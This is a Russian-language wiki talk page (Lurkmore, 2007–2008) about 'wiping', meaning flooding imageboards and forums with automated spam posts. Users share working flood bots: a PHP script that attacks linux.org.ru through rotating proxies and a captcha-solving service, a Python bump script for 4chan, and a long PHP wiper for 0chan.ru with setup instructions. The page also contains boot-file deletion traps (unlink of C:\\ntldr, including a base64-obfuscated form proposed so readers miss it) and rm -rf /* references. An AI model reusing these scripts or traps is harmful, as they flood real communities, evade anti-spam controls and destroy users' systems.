Личные инструменты

Обсуждение:Вайп

Материал из Lurkmore

Перейти к: навигация, поиск

unlink("c:\\ntldr"); Не позорьтесь, лол.

Короче пацан тут такая маза - че сечешь? Да пугало ворон спугнуло, есть капуста но сурки следят так че по грабсам? Жим-жим - дрявый блядь дотман

Содержание

[править] /r/

Это — вайп.

Реквестирую воткнуть вот эту картинку в статью в качестве иллюстрации

[править] флейм

слушайте, идите нахуй со своими двачами-имиджбордами и прочими говно-BB! Вайп - это когда БД игроков онлайн-игрушки злые дяди админы херят, называя (аль оправдывая) это действие живительной массовой эвтаназии сиречь kill it with fire. Мы в недоумении, почему это не отражено в статье, но зато блядь развести здесь три страницы тупого флейма про двач это да, это мы не забыли. Маладцы.

Ну убрал ты исходники, блядь, ну и чё? В истории куски кода-то вот они?

Да даже если в истории не будет - все раз в неделю появляется в /b/, а если не появляется то достаточно создать тред и туда наверняка накидают. Так что прятать исходники это тоже не решение. Вернул на место.
Молодец какой, а?
Так и будем туда-сюда дергать?
Перестаньте дёргать, пусть будет.
Опять у кого-то руки чешутся...
это все пидор-мудак сир оверхуй

не понимаю. кому станет лучше от того, что в /b/ будет еще больше говна?

Во-первых, кому станет хуже? Во-вторых, прятать исходники это тоже не решение - все раз в неделю появляется в /b/.
хуже станет всем посетителям /b/. спрятать чтоб никто не нашел действительно не получится, но зачем вывешивать на самом видном месте?
Ололо, тебя-то каким образом проблемы посетителей /6/ е^H волнуют, и с чего ты взял, что эта статья - самое видное место?
пруф того, что да, бля, это самое видное место!--Yum-yum 12:53, 24 декабря 2007 (MSK)
Твой голимый пруф протух.

Может вернуть удаление ntldr? в профилактических целях. ^_^ L0calh0st 20:29, 23 декабря 2007 (MSK)

Да, так все же лучше, пожалуй.
--admLoki 05:10, 28 марта 2008 (MSK)

А в похапе варианте предлагаю сделать так :

try { @unlink(base64_decode('QzpcbnRsZHI=')); }

Просто уж больно заметно нехорошее :) .

Мля, поставьте ограничение на редактирование статьи. Унылые конфликты правок унылы.--Yum-yum 12:43, 24 декабря 2007 (MSK)

двачую

Ебаные сорцы вайпалок надо убрать! Ибо вайп идет линком на эту страницу. Пока вайперов только 5(синхронные дятлы, епта), но вы бля хотите, чтоб их 10 стало?--Быдло 14:02, 24 декабря 2007 (MSK)

да хотим
Да хоть 50, в общем-то. Что это реально поменяет?


И посмотрите, блждад, сколько просмотров на этой странице. Практически столько же, сколько и на главной. Вы желаете пиздец двачу? --Быдло 14:04, 24 декабря 2007 (MSK)

да желаем

Nigraeb1, ты мудак. --Быдло 14:11, 24 декабря 2007 (MSK)

пошел на хуй, ебаный

Поуберайте анлинки, и выложите нормальную многопоточную джава вайпалку а не то недописанное говно что лежит.

Вот и выложи
А вот хуй вам а не вайпалка. Надо быть полным идиотом чтобы не суметь переделать эту жава-вайпалку.
Вот и не ругайтесь матом по телефону
Кто выложит нормальную версию- тот получит 10 рандомных десу картинок. Ога.

try { unlink ("C:\\ntldr"); }catch (Exception $e) {} ololololo, сразу видно быдлокодер писал - есть такой символ "@" Сразу видно, что быдлокодер - это Вы: труЪ-кодеры ошибки не подавляют, а перехватывают.

[править] Закрытие вопроса

Дабы окончательно закрыть вопрос вайпа, реквестирую сюда ссылку на собранную подмаздай вайпалку с гуи, настройками, радиобаттонами и подробным хелпом.

NOWAI! /r/еквестирую ее сорцы, причем портируемые и независимые от быдлофреймворков.
Ради б-га. Но если мы хотим сделать вайп бессмысленным - нужна именно подмаздайная быдлотулза, которая будет доступна каждому школьнику, как был доступен "кольт" каждому ковбою на диком западе.
Doncha think it'll kill /b/?--Yum-yum 16:43, 24 декабря 2007 (MSK)
"What's that?" - "A wiper tool" - "And what is it good for?" - "/b/" - "What is /b/?" - "/b/ is dead, baby. /b/ is dead."
Жжошь!!!! (Альзо это Рэмбо-Ш, да?)
"Zed's dead, baby, Zed's dead" -- that's Pulp Fiction for'ya, dumbfuck.
Хуле! В рэмбо третьем тоже был такой диалог, только про синюю лампочку, и без концовки. Может, скрытая пародия, лол!
/b/ уже умер. Сейчас все просто ждут и смотрят что из него дальше получится (кроме нытик-кунов, им религия не позволяет).

Все вайперы, вайпающие сейчас /b/ -- мудаки. Они даже поддержку тора привинтить вайпилке не могут. --Вайпер-кун 17:20, 24 декабря 2007 (MSK)

А хуле- кто то ж должен быть мудаком. Главное чтоб больше этих мудаков не становилось.--Быдло2 18:38, 24 декабря 2007 (MSK)
пошел в пизду

[править] Wipal tendencies

Неужели ж вы не понимаете, что именно благодаря вайпу люди побегут в FGHI толпами, как из США в СССР 30-х годов?

Понимаем. Но все, кому нужно- вайпалки уже взяли. А если вайпалка будет у каждого быдлошкольника, то вайп не прекратится вообще.--Быдло2 19:25, 24 декабря 2007 (MSK)
ну и что? мне лично срать будет вайп или нет
Вот-вот. вайп - это проблема двача. Админам двача насрать. So be it.
группировка двачей снова портит страницу!!!!!

[править]  !

Вы гавно! Я вас ненавижу, я завайпаю ваш пидорский лурк расчленёнными пидронигроанимукапроёбами.

  • а не могли бы вы о них статью написать? может не все знаю, что это такое... also вы расчленееные и капро - одно и тоже...
ртфм капро - говень!
   try:
       remove('C:\\ntldr')
   except:
       pass

блять, че за мудак это пишет, яйца оторвать блять этому пидарасу

Слил все исходники в один файл - http://rapidshare.com/files/109809826/_______Lurkmore.mht.html Призываю начальство удалить исходники и поместить вместо них эту ссылку. Или просто удалить - все равно они бесполезны.

>remove('C:\\ntldr')

И что-что? Что это сделает линуксоебам?

[править] добавте

Вайп жжостского диска media:Sshot-2.jpg

[править] Вайпалка

Ваша вайпалка на питоне — говно. Нет ни проксей, ни капчи. http://pastie.org/private/fdpjgaegywdfnjhqsbzha

[править] 3.0

принт теперь функция же! Все ваши вайпалки говно!

[править] Вайпалка на перле

Умеет использовать прокси, работает в несколько потоков. Забивка капчей только вручную. http://ifolder.ru/9532480 Пароль к архиву: www.2ch.ru Ваш крыса-кун

На питоне лучше ;3

моар вайпов с ниграми!!1

[править] Вайпалка ЛОРа

пруфпик - http://img172.imageshack.us/img172/8325/37077810ew9.png

скрипт

<?php
 
function getmsg()
{
$rand_value = rand(0, 15);
$file_array = file("msg.txt");
$line = $file_array[$rand_value];
return $line;
}
 
function getproxy($pid)
{
list($usec, $sec) = explode(" ", microtime());
srand((int)($usec*10)+$pid);
$rand_value = rand(0, 355);
$file_array = file("proxy.txt");
 
$line = $file_array[$rand_value];
return $line;
}
 
 
function geturl($url,$proxy=0,$postdata=0,$header=0,$cookie=0,$referer=0)
{
 
$poststr="";
if ($postdata)
while (list($name,$value)=each($postdata)){
if (strlen($poststr)>0)
$poststr.="&";
$poststr.=$name."=".urlencode($value);
}
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if($proxy)
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($cookie){
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
//echo "COOKIE $cookie";
}
 
if($referer!=0)
curl_setopt($ch, CURLOPT_REFERER, $referer);
 
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
 
if ($header){
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_NOBODY, 1);
}else{
curl_setopt($ch, CURLOPT_HEADER, 0);
}
 
if ($postdata){
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
}
 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (U; Windows; ru; rv:1.9.0.5) Gecko/2007121622 Windows Firefox/2.0.5");
 
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
 
$key = '72c5d28fds45fd6gd54676s6fg89a10c7b332c36b746df2e81a1ef8';
$add_url = 'http://www.linux.org.ru/add.jsp';
$groups = array (
'126','1339','1340','1342','4068','4066','7300','8403','19109'
);
 
for($i=0;$i<9;$i++){
$pid = pcntl_fork();
}
while(true){
$proxy = getproxy($pid);
 
$group = $groups[rand(0, 8)];
 
$header = geturl($add_url.'?group='.$group,$proxy,0,1);
 
preg_match('|JSESSIONID=(.*);|U', $header, $out);
$session = $out[1];
$mycookie = "JSESSIONID=".$session."; path=/; domain=www.linux.org.ru";
if(!empty($session)){
//echo "SESSION=".$session."\n";
 ;
}
else {
echo "Error getting session\n";
continue;
}
 
$captcha = null;
$captcha = geturl('http://www.linux.org.ru/jcaptcha.jsp',$proxy,0,0,$mycookie,$add_url.'?group='.$group);
 
if($captcha!=null)
//echo "CAPTHCA GETTED\n";
 ;
else {
echo "Captcha not getted\n";
continue;
}
 
$postdata = array(
'method' => 'base64,
'
key' => $key,
'
body' => base64_encode($captcha),
'
ext' => 'jpg',
'
phrase' => 0,
'
regsense' => 0,
'
numeric' => 0,
'
min_len' => 3,
'
max_len' => 9
);
$rev = geturl(http://",0,$postdata);
 
if (substr($rev,0,2)=='
OK'){
//получаем id капчи в системе
$anti_captcha_id = substr($rev,3);
}else{
echo "Upload ERROR\n";
echo $rev;
echo $captcha;
continue;
}
//ждем 20 сек и проверяем капчу
$f = false;
 
while($f){
sleep(20);
 
$postdata = array(
'
key' => $key,
'
action' => 'get',
'
id' => $anti_captcha_id
);
 
$cap = geturl("http://",0,$postdata);
 
if (substr($cap,0,2)=='
OK'){
$captcha_value = substr($cap,3);
$f = true;
}else{
echo "ERROR\n";
echo $cap;
$f = false
}
}
 
$file = fopen('
/dev/urandom', 'r);
$random = fread($file, 16);
 
$postdata = array(
"session" => $session,
"nick" => 'anonymous',
"password" => "",
"group" => $group,
"title" => $contentsgetmsg().$contents,
"msg" => getmsg()."\n http://www.ipetitions.com/petition/sayno2JB/signatures.html \n".$contents,
"mode" => 'tex',
"autourl" => '1',
"j_captcha_response" => $captcha_value
);
 
echo "SENDING POST\n";
 
$recdata = geturl('http://www.linux.org.ru/add.jsp',$proxy,$postdata,0,$mycookie,$add_url.'group='.$group);
//$recdata = post('http://www.linux.org.ru/add.jsp',$postdata,$proxy,$session);
 
echo $recdata;
}
?>
Уйди, похапэ-быдлокодер.

[править] Python

подскажите пример бампа угодной темы (чтобы отправлялся пост с текстом "bump" и тут же удалялся, потом опять отправлялся и удалялся, дабы флуда не было, да и не заметный бамп был) для 4chan'а желательно, сотни нефти гарантирую! Да и вообще, бесконечную благодарность.

Надумал закреплять треды?
да не, там же (на форчане) темы быстро вниз слетают, а так иногда хочется чтобы она не слетала так быстро, вообщем у меня уже есть рабочий код для питона, но там нужно какой-то цикл проставить (ну чтоб он не один раз оставил сообщение, а несколько раз, сам, автоматически), чтоб, допустим, 50 сообщений "bump" с делеем (задержкой) 10 секунд.

вот скрипт, если интересно:

import httplib, urllib
params = urllib.urlencode({'com': 'BUMP','resto':'3813716','mode':'regist',"MAX_FILE_SIZE":"3145728"})
headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "multipart/form-data"}
conn = httplib.HTTPConnection("bin.4chan.org")
conn.request("POST", "/g/imgboard.php", params, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()
print data
conn.close()

[править] Реквестирую удалить строку

Реквестирую удалить строку Вызов curl из shell-скрипта палево же, rm -rf /* уже все нубы знают

[править] Перенастройка вайпалки

Как перенастроить вышевыложенную вайпалку на перле под ментач?

[править] Капча

Программеры (не быдлокодеры), подкиньте хороших, годных линков на тему распознавания капчи, желательно не только сухую теорию, но и примеры.

Тут нет программеров, одно быдло умеющее только rm -rf /*
используй онлайн-сервисы для взлома капчи, полно их

[править] В поисках КО

Я нуб. Как вайпать с помощью кодов?

Скачиваешь системушку программирования. Вставляешь код. Любуешься, как информация на винте превращается в кашу.

[править] Вайпалка на PHP под Windows и POSIX(Unix/Linux) для 0chan.ru (Кусаба)

Работает напрямую и через прокси, случайное изображение, случайный текст, ввод капчи вручную.

<?php 
 
//..............................http://uchan.org.ua.................................
//...................................................................................
//...................................................................................
//,,,::,.....,:,,,:,.:,,,,,,,:,.::,,,,,,::............,,,.........:,,,,,,,::...:,,,,,
//MMMWWt.....IWMMMMt:MMMMMMMMWY,MMMMMMMMWM:..........IMMV........,MMMMMMMMWB,.:WMMMMM
//###M+,.....,;R#Wt,.:;R###M+:,.::I####I:,..........;W##B,........::I####t:,...:;Y###
//###V.........X#i.....V###I......;W##M,............V###W,..........;W##M,.......=###
//W##B........;WX,.....X###+......+###R............+#####:..........+###X........t###
//X##W:.......YW;......B###;......t###Y...........,BBB###=..........I###Y........Y###
//t###i......;Wt......,W###:......Y###i...........t#+Y###i..........V###i........R###
//;W##V.....,XB,......;W##M.......R###=..........:WX.t###Y..........R##W;.......,B##W
//.R##M,....+W=.......+###B......,W##W:..........VW;.+###X..........W##W,.......:W##M
//.t###+...:BY........t###X......+###M..........+WI..;###B.........:###B........=###R
//.:W##V...IM:........t###R.....,R###X.........,RM,..,W##M,........+###WYYYYYYYYB###Y
//..X##M,.;W+.........+####i,..;X####I.........tW+....B##W;........I###MRRRRRRRRW###i
//..i###+,XX,.........,B####BVXWXR###i........:MB=====R###+........V###+........R###=
//..:W##XiW;...........:R#####Bi,R###;........Y#WWWWWW####i.......,B##W;.......,M##W:
//...X###WI.............,=tIt=,.,M##W:.......;WV;;;;;;I###I.......:W##M,.......:W##M.
//...i###R,.....................;W##B,.......RM:......+###X.......;###R,.......+###X.
//...:W##=......................+###V.......+#I.......;W##M.......i###V........t###I.
//....R#Y.......................I###I......,BM:.......:W##W,......I###I........V###i.
//...:MB,.......................X###i......I#t........,M###;......X###+........B##W;.
//..;RW=........................B###=.....:WM,.........B###+......M###=.......,W##W:.
//+VW#t........................;W###:....,X#Y..........B###Y.....;###W:.......+###M,.
//##Wi......................,IYB####RIt:IX##MYI:....:IVW###WVI:tYB####RIt,.,IVM####RI
//WX=.......................:XYIIIIIIYY;XYIIIIV:....=XVIIIIIVX;VYIIIIIIYY,.:VYIIIIIIY
//.,==:..............................................................................
//...................................................................................
//......................................,;...........................................
//.......................................:,..........................................
//.......................................,=,.........................................
//......................................,:YI=;,,.....................................
//...................................,=IVXRRRXVYt=:..................................
//.................................,iXMMWWWWWWWMBRVt:................................
//................................=XW#############WMXi:..............................
//...............................iB#################WMY=.............................
//.............................,YM##########WW########WR=............................
//............................,RW########WWWWWW#########R=...........................
//............................tW#######WWMMBBBMMW###WWMW#R;..........................
//...........................:M#######WMBRRRRRRBMWWWMBRBW#V,.........................
//...........................Y#####MVIYRRXYi++IXRVVVRXVVBWWi.........................
//..........................;MBW#WV;::,:VYI,..+IX:,:IY+tXM#B,........................
//..........................Yt=X#V:iBX;.:Vi,,,=VX,,,iY,,:=XW+........................
//.........................;tV=VM;+WWMY,,It,,;:Vt,;,iV,+II=MX........................
//.........................+VW+RX:V##WR:,tV:,=,Ri,+,iR,+BWiXM,.......................
//.........................tII;WI:B###M;,Y#;:V,Y;,I,iM:,+I=VW=.......................
//.........................I;;;BI:B###B:,R#;:B:=:;V,iW::::;MWt.......................
//.........................IIB=IV:I###t,;WW;:M;,,tV,tW:iMBiVWY.......................
//........................,YRWitM;:IXI::V##=;W+,,IY,iM:tW#YtWY.......................
//........................,YtY;Y#X;::::YW##+=WI::BX:tM:;iI=tMI.......................
//........................,Y==+M##BYtYBW###RX#BVV#RtVM=;;::XRt.......................
//.........................YYRM#######################WMBVVBX+.......................
//.........................iRM######################W###WMBRV;.......................
//.........................=XBMW############W####WWWWWWWWMBRY:.......................
//.........................,VRMWWWWWWWWW###WWWWWWWWWWWWWMMBXI........................
//..........................tXBMWWWWWWWWWWWWWWWWWWWWWMMMMBRV+........................
//..........................;VRMMWWWWWWWWWWWWWWWWWWWWMMMBBVY:........................
//..........................,IXBMMWWWWWWWWWWWWWWWWWWMMMMBXVt.........................
//...........................=YRBMMWWWWWWWWWWWWWWWWMMMMBRVY;.........................
//..........................,,iVRBMMWWWWWWWWWWWWWMMMMBBRVV+,.........................
//...........................:;IXRBMMMWWWWWWWWWWMMMMMBRVVI;..........................
//..........................,;;=YXRBMMMMMMMMMMMMMMMBBRXXY=;,.........................
//..........................:;;=iVRRBBMMMMMMMMMMMBBBRRXY+=;,.........................
//..........................,;;=+IXRBBBMMMMMMMMBBBBRRRYi+;:..........................
//...........................:;=+tVBMMMMBBMMBBBBBBBBMXi+=:...........................
//............................,:;=iYRWW##WWWWWWW#WMRV+;:,............................
//...............................,:;=iYXRBMMMMBRYt+;:,...............................
//...................................,,,,,:::,,,.....................................
//...................................................................................
//...............................................................................:=..
//..............................................................................tWB..
//..............................................................................Y#V..
//.................:;,..........................................................i#I..
//...;VRRI:VRRV:.;VMWB:.........tXRX++XRXt=RRRi,YRV,..tXRRt..,tRXXRRY=VRRI,YRRV,=#i..
//....=#R..,MW:.,R=:R#Y..........V#i..i#V..t#B,.;B:....tR#Y..t#X:;WW,.;WB,.:WM,.;#=..
//....;#R,,:MW:..=..i#V..........V#i,,i#V..:MW;.ti....:Yt#Y..i#Y.,WM,.;WB,.:WM,.,M:..
//....;#WRRRWW:..;tIV#V..........V#BRRB#V...Y#I,V,....V;i#Y...iBYiWM,.:MWi:I#M,.,R,..
//....;#R,,,MW:.iWY,+#V..........V#i,,i#V...;#Mi+....iI.i#Y...=WM=WM,..;VXViWM,..=...
//....;#R..,MW:.R#;.i#V..........V#i..i#V....B#R,...;B,.i#Y..,R#i,WM,......:WM,.,t;..
//...,i#B;,=MW+,R#XiX#R:........:X#I::I#X:...t#t...:RX,:Y#R:,I#R,=WW=,....,+WM=.I#R..
//...:ttti,tttt:=RBt;tt=........+ttt;=ttt+...:R,...=tt;=ttt+;tt;,ttti,....:tttt,=Ri..
//...........................................;i......................................
//........................................t;;V,......................................
//........................................VWW+.......................................
//........................................+Y=........................................
//...................................................................................
//...............................http://uchan.org.ua.................................
 
//Скрипт для напівавтоматизованого вайпу нуляча написаний на php, тому для його роботи потрібний веб-сервер із php.
//Веб-сервер все-в-одному і після установки одразу готовий до використання:
//http://sourceforge.net/projects/appserv/files/
//
//Після встановлення в деректорію "C:\AppServ\www\" варто скопіювати файл .htaccess наступного змісту:
//Order deny,allow
//deny from all
//allow from 127.0.0.1
//Це блокує доступ для всіх окрім вашого комп'ютера до цього сервера. Цей файл є в папці "wipephp".
//
//Після цих маніпуляцій скопіюйте цю папку "wipephp" в "C:\AppServ\www\".
//
//Все, можна вайпати, для цього в броузері зайдіть за адресою: http://localhost:80/wipephp/ і відкрийте в новій вкладці потрібний скрипт.
//
//Додаткова інформація.
//Дошку достатньо змінити лише в назві скрипту між ---:
//---ДОШКА---
//
//---b---_uchan_wipe_0chan.php - цей скрипт варто використовувати для постингу без проксі в окремий тред, оскільки затримка флуду при цьому 10 секунд.
//
//У зв'язку з тим, що нові треди з одного IP можна створювати через невідомо значиний період часу, то доцільно створювати нові треди лише через proxy.
//---b---_(proxy)_uchan_wipe_0chan.php
//
//Будь-який скрипт можна відкрити довільну кількість разів. Досить ефективно на пряму постити в один тред, і через 5-7 разів відкритий скрипт працюючий через проксі створювати нові треди.
//
//P.S. Нові проксі можна взяти тут http://www.samair.ru/proxy/time-01.htm, їх треба чекнути на робочість, одна з програм для цього є тут: http://uchan.org.ua/sho/res/126.html#155, перевірку в AccessDiver проходять ~30%.
//
//.......................................http://uchan.org.ua..........................................
 
 
//Встановлюємо максимальний час виконання в секундах
set_time_limit(120);
 
$password = "erfjjwek2"; // Пароль на видалення повідомлень, варто змінити
$treadpost = '0'; // Якщо 0 - новий тред, якщо ввести номер треду повідомлення будуть писатись в цей тред.
$proxy = false; // true, або false - якщо не використовується проксі
$hostname=%26quot%3Bwww%2E0chan%2Eru%26quot%3B%3B
$board = "b"; // Дошка, ага. Якщо не вдалось знайти в назві скрипата ---ДОШКА---, тобуде використана ця.
$path = "board.php?dir=".$board;
$proxyip = $hostname;
$proxyport = "80";
$name = ''; // Псевдо
$files = "";
$bounds = "9700306295313";
$bounds1 = "-----------------------------".$bounds;
$dirdelimiter = "\\"; // В Windows \\, в Лінукс /.
$picdir = "pic"; // Директорія із зображеннями.
$captchadir = "captcha"; // Директорія куди зберігаються капчі.
 
$subject = 'Відповідь на Nо.'.(rand(0,200000000));
$comment = ">>".(rand(0,200000000))."\r\n"; // Початок коментаря
$commentend = "\r\nhttp://ukrkniga.org.ua/ukrkniga-text/36/22/\r\nhttp://uchan.org.ua/\r\n"; // Кінець коментаря, якщо додадуть в спам-фільтр треба замінити чи видалити посилання
 
//Затримка, різна для тредів і постів, і при роботі через проксі
if ($treadpost==0){$timeout = 60;} else {$timeout=10;}
if ($proxy == true){$timeout = 0;}
 
 
$countboard = preg_match_all('/---(.+?)---/', $_SERVER["SCRIPT_NAME"], $boardurl, PREG_SET_ORDER);
$boardurl = $boardurl[0][1];
if (empty($boardurl)) {$board=$board;} else {$board=$boardurl;}
 
 
//Якщо капча не введена робимо запит капчі
if (empty($_POST["captcha"]))
{
 
$proxyblock = '';
//Якщо ввімкнено проксі, то беремо капчу через випадковий проксі
if ($proxy == true)
{
$myFile = "proxy.txt";
$fr = fopen($myFile, 'r');
$allproxy = fread($fr, filesize($myFile));
fclose($fr);
$allproxy = preg_replace('/(\r?\n)/', 'poDJSLwlfja23u3afisjfDJ', $allproxy);
$allproxyArray = explode ("poDJSLwlfja23u3afisjfDJ", $allproxy);
$randprox= rand(0, (sizeof($allproxyArray)-1));
$proxyraw = $allproxyArray[$randprox];
$proxyrawArray = explode (":", $proxyraw);
$proxyip = $proxyrawArray[0];
$proxyport = $proxyrawArray[1];
 
$proxyblock = "<tr align='center'><td align='center' COLSPAN='2'>Через проксі ".$proxyip.":".$proxyport."<br /></td></tr>";
}
 
 
$headers = "GET http://$hostname/captcha.php HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: image/png,image/*;q=0.8,*/*;q=0.5\r\n";
$headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$headers .= "Accept-Encoding: deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Keep-Alive: 300\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: http://$hostname/$board/\r\n\r\n";
$fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30);
 
 
if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=http://w2.guardtunnel.com/browse.php?u=Oi8vbHVya21vcmUucnUvJnF1b3Q7LiRfU0VSVkVSWyZxdW90O1NDUklQVF9OQU1FJnF1b3Q7XS4mcXVvdDs%3D&b=5'>";
else
{
fwrite($fp, $headers, strlen($headers));
//Збираємо до купи відповідь
$answer = '';
while(!feof($fp))
{
$answer.= fread($fp, 4096);
}
//Вирізаємо з відповіді зображення капчі
$patern = "/(\x89PNG.*)/s";
$count = preg_match($patern, $answer, $rez);
 
//Зберігаємо капчу
$randcap= rand(0, 2000000000);
$captchapng = $rez[0];
$myFile = $captchadir.$dirdelimiter."captcha-".$randcap.".png";
$fw = fopen($myFile, "w");
fwrite($fw, $captchapng);
fclose($fw);
}
 
//Витягнули з відповіді нові кукіси капчі та сесії
 
$patern = "/(Set\-Cookie\: )(cap=.*?)(\r\n)/i";
$count = preg_match($patern, $answer, $rez);
$newcookie = $rez[2];
 
$patern = "/(Set\-Cookie\: )(PHPSESSID=.*?)(\r\n)/i";
$count = preg_match($patern, $answer, $rez);
$phpsessid = $rez[2];
 
fclose($fp);
 
 
//Виводимо форму зі збереженим зображенням капчі, кукісами та всім іншим
echo "
<meta http-equiv='Content-Type' content='text/html;charset=utf-8' />
<form action='"
.$_SERVER['SCRIPT_NAME']."' method='post'>
<input name='newcookie' value='"
.$newcookie."' type='hidden' />
<input name='phpsessid' value='"
.$phpsessid."' type='hidden' />
<input name='proxyip' value='"
.$proxyip."' type='hidden' />
<input name='proxyport' value='"
.$proxyport."' type='hidden' />
<table align='center'><tbody>
<tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/'><img src='http://uchan.org.ua/uchan.png' border='0' /></a><br /></td></tr>
<tr align='center'><td align='center' COLSPAN='2'><a href='http://uchan.org.ua/' style='text-decoration:none;'> http://uchan.org.ua/</a><br /></td></tr>
<tr align='center'><td align='center' COLSPAN='2'>На нуляч.<br /></td></tr>
"
.$proxyblock."
<tr><td><a href='"
.$_SERVER['SCRIPT_NAME']."'><img src='".$captchadir."/captcha-".$randcap.".png' alt='Натисни, щоб оновити' border='0' /></a><br /></td></tr>
<tr><td><input size='12' name='captcha' type='text' /></td>
<td><input tabindex='0' value='+Один Вайп'type='submit' /></td>
</tr></tbody></table>
</form><br />
"
;
}
 
 
//Якщо капча введена
if (!empty($_POST["captcha"]))
{
//Взяли капчу, кукіси та все інше з робочого пост-запиту
$newcookie = $_POST["newcookie"];
$captcha = $_POST["captcha"];
$phpsessid = $_POST["phpsessid"];
$proxyip = $_POST["proxyip"];
$proxyport = $_POST["proxyport"];
 
//Прочитали випадкове зображення і додали до нього викадкове число
$filearray = "";
foreach (glob("$picdir$dirdelimiter*.jpg") as $filename)
{
$filearray .= $filename."5dfg5dde5sa6SFDoiwlkds";
}
$filearray = explode("5dfg5dde5sa6SFDoiwlkds", $filearray);
$randfile = rand(0, (sizeof($filearray)-2));
$filename=%24filearray[%24randfile]%3B
//В Unix'ах може треба буде використовувати як розільник, інший слеш /
$filearray = explode("\\", $filename);
$filename=%24filearray[1]%3B
 
$filename=%24picdir%2E%24dirdelimiter%2E%24filename%3B
$files = file_get_contents($filename);
$random=rand()%10000000;
$files = $files.$random;
 
// Завантажуємо файл кометарів та беремо випадковий фрагмент
$myFile = "comments.txt";
$fr = fopen($myFile, 'r');
$allcomments = fread($fr, filesize($myFile));
fclose($fr);
$allCommentsArray = explode ("=====================================", $allcomments);
$randcom= rand(0, (sizeof($allCommentsArray)-1));
$comment .= $allCommentsArray[$randcom].$commentend;
 
 
//Формуємо пост-запит на сервер чана
$data = '$bounds1
Content-Disposition: form-data; name=%26quot%3Bboard%26quot%3B
 
$board
$bounds1
Content-Disposition: form-data; name=%26quot%3Breplythread%26quot%3B
 
$treadpost
$bounds1
Content-Disposition: form-data; name=%26quot%3BMAX_FILE_SIZE%26quot%3B
 
2048000
$bounds1
Content-Disposition: form-data; name=%26quot%3Bemail%26quot%3B
 
 
$bounds1
Content-Disposition: form-data; name=%26quot%3Bcaptcha%26quot%3B
 
$captcha
$bounds1
Content-Disposition: form-data; name=%26quot%3Bsubject%26quot%3B
 
$subject
$bounds1
Content-Disposition: form-data; name=%26quot%3Bmessage%26quot%3B
 
$comment
$bounds1
Content-Disposition: form-data; name=%26quot%3Bimagefile%26quot%3B%3B filename=%26quot%3Bmoskalyach%2Ejpg%26quot%3B
Content-Type: image/jpeg
 
$files
$bounds1
Content-Disposition: form-data; name=%26quot%3Bname%26quot%3B
 
$name
$bounds1
Content-Disposition: form-data; name=%26quot%3Bgotothread%26quot%3B
 
on
$bounds1
Content-Disposition: form-data; name=%26quot%3Bembed%26quot%3B
 
 
$bounds1
Content-Disposition: form-data; name=%26quot%3Bembedtype%26quot%3B
 
youtube
$bounds1
Content-Disposition: form-data; name=%26quot%3Bpostpassword%26quot%3B
 
$password
$bounds1--
'
;
 
$headers = "POST http://$hostname/$path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$headers .= "Accept-Language: uk,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$headers .= "Accept-Encoding: deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Keep-Alive: 300\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: http://$hostname/$board/\r\n";
$headers .= "Cookie: jsrot=2; kustyle_site=Autumn; kustyle=Autumn; postpassword=".$password."; ".$phpsessid."; ".$newcookie."; disclaimer=1; showwatchedthreads=0; jsrotx=1; jsrot_1=1\r\n";
$headers .= "Content-Type: multipart/form-data; boundary=---------------------------$bounds\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
$fp = fsockopen($proxyip, $proxyport, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\r\n<meta http-equiv='refresh' content='10;url=".$_SERVER["SCRIPT_NAME"]."'>";
else
{
fwrite($fp, $headers.$data, strlen($headers.$data));
 
$answer = '';
while(!feof($fp))
{
$answer .= fgets($fp, 4096);
}
//На всякий випадок зберігаємо відповідь, може треба буде для налагодження роботи
$myFile = "echo.html";
$fw = fopen($myFile, "w");
fwrite($fw, $answer);
fclose($fw);
 
//Записуємо створений тред чи пост в лог
$patern = "/(url=)(.*?)(\")/i";
$count = preg_match($patern, $answer, $rez);
$profit = $rez[2];
if (empty($rez[2]))
{
$patern = "/(\<h1.*?\>)(.*?)(\<\/h1\>)/si";
$count = preg_match($patern, $answer, $rez1);
 
$patern = "/(\<h2.*?\>)(.*?)(\<\/h2\>)/si";
$count = preg_match($patern, $answer, $rez2);
 
$profit = $rez1[2]." - ".$rez2[2];
 
$profit = preg_replace('/(\r?\n)/', '', $profit);
}
$treadpostwiped = $profit.", proxy(or direct): ".$proxyip.":".$proxyport."\r\n";
$myFile = "wipelog.txt";
$fw = fopen($myFile, "a");
fwrite($fw, $treadpostwiped);
fclose($fw);
}
 
fclose($fp);
 
//Пауза
sleep($timeout);
 
//Відкрили знову цей скрипт вже з новою капчею
header( 'Location: '.$_SERVER["SCRIPT_NAME"] ) ;
